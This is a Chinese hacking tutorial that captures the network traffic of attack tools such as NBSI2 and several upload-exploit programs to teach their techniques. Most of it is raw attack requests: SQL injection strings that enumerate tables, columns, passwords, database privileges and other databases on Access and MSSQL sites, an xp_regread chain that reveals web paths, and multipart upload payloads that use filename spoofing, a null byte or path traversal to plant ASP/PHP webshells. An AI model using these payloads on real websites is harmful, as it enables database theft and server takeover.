特殊方法学习黑客工具
By ivory(于厦门集美大学)
不知道别人怎么看,笔者感觉,中国人写软件很少有“开放源代码”精神。也不知道是因为怕代码写的差,拿出来丢人,还是商业目的。不管怎样,他们都已经违背了“黑客”的共享精神。好!他们不开放是他们的问题,我们也没办法,不过对于一些软件,我们还是大概能学习它是怎么运作的。不相信?这里拿出法宝“WSockExpert”。朋友们肯定会惊讶,这不是平时抓包用的吗?对,说明文挡对它正确的解释是:“这是一个用来监视和修改网络发送和接收数据的程序,可以用来帮助您调试网络应用程序,分析网络程序的通信协议(如分析OICQ的发送接收数据),并且在必要的时候能够修改发送的数据”。试想,如果抓到了软件对外发送和接受回来的数据包,我们不就清楚的知道程序将怎么运作的吗?抱着这种思路,开始我们的学习之旅吧。
使用方法就是运行WsockExpert和需要监视的网络应用程序,然后使用"Open Process"按钮,选择正确的程序打开,这时候会创建一个子窗口,使用同样的方法您可以同时监视多个进程。然后进入主进程。
1.NBSI2 For ACCESS
首先看看NBSI2是如何注入ACCESS的。我们让它随便注入个地址,然后用WsockExpert来抓数据包。只要点NBSI2的“检测”,WsockExpert就会有反应了,这种感觉很好,好象《黑客帝国》中滚动的数据一样。这是我截获的数据:(如图一)
如此这般,每一个步骤都在我们的掌握之中了。比如NBSI的探测表名的过程就是这样:
GET /admin/news_view.asp?id=2%20And%20(Select%20Count(1)%20from%20[N])>=0 HTTP/1.1(其中N就是表名)等等,具体的数据如图二
最后应该是判断一个回传的包,如果符合条件,则表名正确。
同样的道理,再看可爱的NBSI2是如何猜测字段的:
如果表名user正确
GET /admin/news_view.asp?id=2%20And%20(Select%20Count([user].[N])%20from%20user)>=0(N为字段名)
最后一步就是猜测字段的值,关键句子:
GET /admin/news_view.asp?id=2%20And%20(Select%20Top%201%20len(cstr([id])%2Bchr(124)%2Bcstr([user])%2Bchr(124)%2Bcstr([password]))%20From%20(Select%20Top%201%20[id],[user],[password]%20From%20[user]%20Where%201=1%20Order%20by%20[id],[user],[password])%20T%20Order%20by%20[id]%20desc,[user]%20desc,[password]%20desc)>N(猜测ID长度)
GET /admin/news_view.asp?id=2%20And%20(Select%20Top%201%20abs(asc(mid(cstr([id])%2Bchr(124)%2Bcstr([user])%2Bchr(124)%2Bcstr([password]),1,1)))%20From%20(Select%20Top%201%20[id],[user],[password]%20From%20[user]%20Where%201=1%20Order%20by%20[id],[user],[password])%20T%20Order%20by%20[id]%20desc,[user]%20desc,[password]%20desc)>N(这个是猜测密码的)。不知道哪个牛人说过:用工具会让人变傻的。抓到这些数据后,我们何不改造一下,用自己的方式来手工注入呢。
2 . NBSI2 For SQL
这里要讲的是对于SQL Server的探测过程。这些更有意思,仔细看。这里先做个前备知识:%20就是空格,%2B就是+,%25解释为%。
GET /news/showat.asp?atnbr=344&ctnbr=1%20and%20(Select%20count(1)%20from%20[sysobjects])>=0 HTTP/1.1
它检验是否支持子查询。
GET /news/showat.asp?atnbr=344&ctnbr=1%20And%20user%2Bchar(124)=0 HTTP/1.1,这样就是有名的“and user+|=0”来暴出当前用户。
GET /news/showat.asp?atnbr=344&ctnbr=1%20;declare%20@a%20int-- HTTP/1.1,判断是否支持多句查询。
然后是判断用户权限,用了两句:
GET /news/showat.asp?atnbr=344&ctnbr=1%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 HTTP/1.1
GET /news/showat.asp?atnbr=344&ctnbr=1%20And%20Cast(IS_MEMBER(0x640062005F006F0077006E0065007200)%20as%20varchar(1))%2Bchar(124)=1 HTTP/1.1,得到的将是DB_OWNER或者是SA,如果是后者就发了
然后暴出当前库
GET /news/showat.asp?atnbr=344&ctnbr=1%20And%20db_name()%2Bchar(124)=0 HTTP/1.1 ,和暴当前用户原理是一样。
更有意思的在下面,我抓到的“猜测表名”的语句,如图三:
这样只需改动select top 1,2,3…id,name,就可以得到表名。
再看猜测字段的:
GET /news/showat.asp?atnbr=344&ctnbr=1%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from%20(Select%20Top%N%20colid,name%20From%20[uc520master]..[syscolumns]%20Where%20id%20=%20OBJECT_ID(NCHAR(117)%2BNCHAR(99)%2BNCHAR(53)%2BNCHAR(50)%2BNCHAR(48)%2BNCHAR(109)%2BNCHAR(97)%2BNCHAR(115)%2BNCHAR(116)%2BNCHAR(101)%2BNCHAR(114)%2BNCHAR(46)%2BNCHAR(46)%2BNCHAR(101)%2BNCHAR(120)%2BNCHAR(97)%2BNCHAR(109)%2BNCHAR(95)%2BNCHAR(113)%2BNCHAR(117)%2BNCHAR(101)%2BNCHAR(115)%2BNCHAR(116)%2BNCHAR(105)%2BNCHAR(111)%2BNCHAR(110)%2BNCHAR(95)%2BNCHAR(116)%2BNCHAR(101)%2BNCHAR(109)%2BNCHAR(112)%2BNCHAR(49))%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0 HTTP/1.1
使N=1, 2, 3…..猜测字段。不得不惊讶这样的手法。这里要说的就是函数OBJECT(‘object’),即返回数据库标识符。(注意:句子如果看起来乱,就把它分成小块来看。)
也许大家更感兴趣的是,对跨库的语句:
GET /news/showat.asp?atnbr=344&ctnbr=1%20And%20(Select%20Top%201%20cast([name]%20as%20varchar(8000))%20from(Select%20Top%N%20dbid,name%20from%20[master]..[sysdatabases]%20order%20by%20[dbid])%20T%20order%20by%20[dbid]%20desc)>0 HTTP/1.1
简单写就是:and (select top 1 cast([name] as varchar(8000)) from (select top N dbid,name from [master]..[sysdatabases order by [dbid]] T order by [dbid] desc)>0。
方法就是如此。如果还有不懂的,可以参照臭要饭的!的《mssql跨库查询》。相信你学完了,基本上对Mssql Injection有个系统的了解。
3. UPFILE
闹上传漏洞闹了好久了,工具挺多的。原理简单,我们在自己抓包上传木马之余,不禁想想那些工具是如何工作的。开始是用桂林老兵的upfile工具做的实验,结果仅此一句
-----------------------------7d4822f26003a
Content-Disposition: form-data; name="filepath"
shell.asp
而允许类型呢?可能在程序内部已经将格式转换了吧,这个不好学习,换个简单的!
最近有个什么联盟发现了个动感科技开发的一套系统漏洞,还写了个小程序用来上传的,如图四
开工,抓下来了。如图五
一个一个看下去,就找到要点所在了,发现了这个:
1:Content-Disposition: form-data; name="filepath"
bookpic/newmm.asp(指定上传后在服务器中的虚拟路径)
2:Content-Disposition: form-data; name="file1"; filename="D:\efiles\hacktool\Newmm.jpg"(欺骗服务端,让它误认为我们上传的是.jpg后缀。)
这样就发现,漏洞原理和DVBBS上传漏洞差不多!没什么技术含量。
我们顺便学学他们怎么上传PHP的,《小刀的上传文件利用工具综合版》对NET PIC系统的PHP上传木马的关键代码是:
-----------------------------7d42fd203025c
Content-Disposition: form-data; name="path"
./xiaodao.php%00
-----------------------------7d42fd203025c
Content-Disposition: form-data; name="image"; filename="c:\a.gif"
Content-Type: text/html
检测的时候还发现了小刀的这个软件的“老兵”的这个栏目,还以为是新漏洞。根据抓到的包“?up=yes”,我看了一下6.0代码,没有这样的漏洞,后来一找,才发现只是针对5.0的!狂吐ing。原来和海洋xp木马的那个漏洞也一样。这种反向思维很重要。
4 暴网站漏洞
下面的这个程序是用来专门暴站路径的,如图六。
截获后的关键句子如下:
GET /news/showat.asp?atnbr=351&ctnbr=1;drop%20table%20WebPath_009--(这个非常有意思,如果已经有人用这个工具探测过了,也就是建了个WebPath_009表,它先将它drop掉)
GET /news/showat.asp?atnbr=351&ctnbr=1;create%20table%20WebPath_009%28Vpath%20varchar%28255%29%2CTpath%20varchar%28255%29%29-- HTTP/1.1(建个表,字段为Vpath和Tpath)
GET /news/showat.asp?atnbr=351&ctnbr=1;insert%20into%20WebPath_009%20EXEC%20master.dbo.xp_regread%200x484B45595F4C4F43414C5F4D414348494E45%2C0x53595354454D5C436F6E74726F6C5365743030315C53657276696365735C57335356435C506172616D65746572735C5669727475616C20526F6F7473%2C0x2F-- HTTP/1.1(这里正式将xp_regread读的结果放到表中)
GET /news/showat.asp?atnbr=351&ctnbr=1%20and%200=%28select%20top%201%20Tpath%20from%20WebPath_009%29-- HTTP/1.1(然后从Tpath字段中暴出路径)。
5 Discuz! 2.x论坛上传漏洞利用工具
我们抓到后包如图七
关键代码在最后部。
-----------------------------7d43e215303d2
Content-Disposition: form-data; name="attach_name"
/../../attachments/newmm.php.(注意这里有个点)
一看就知道了。哦,原来这里attach_name过滤不严。
最后只要提交www.target.com/bbs/attackments/newmm.asp.就可以访问到我们的木马了。
后记:写到最后,才发现自己写的太多了。还有很多很多的软件是可以这样进行分析的!比如小路的getwebshell利用差异备份的过程。还有臭要饭的!的backupshell的过程等等,我就不一一分析了。不管怎么样,原理只有一点,而学习的过程是快乐的。
浙公网安备 33010602011771号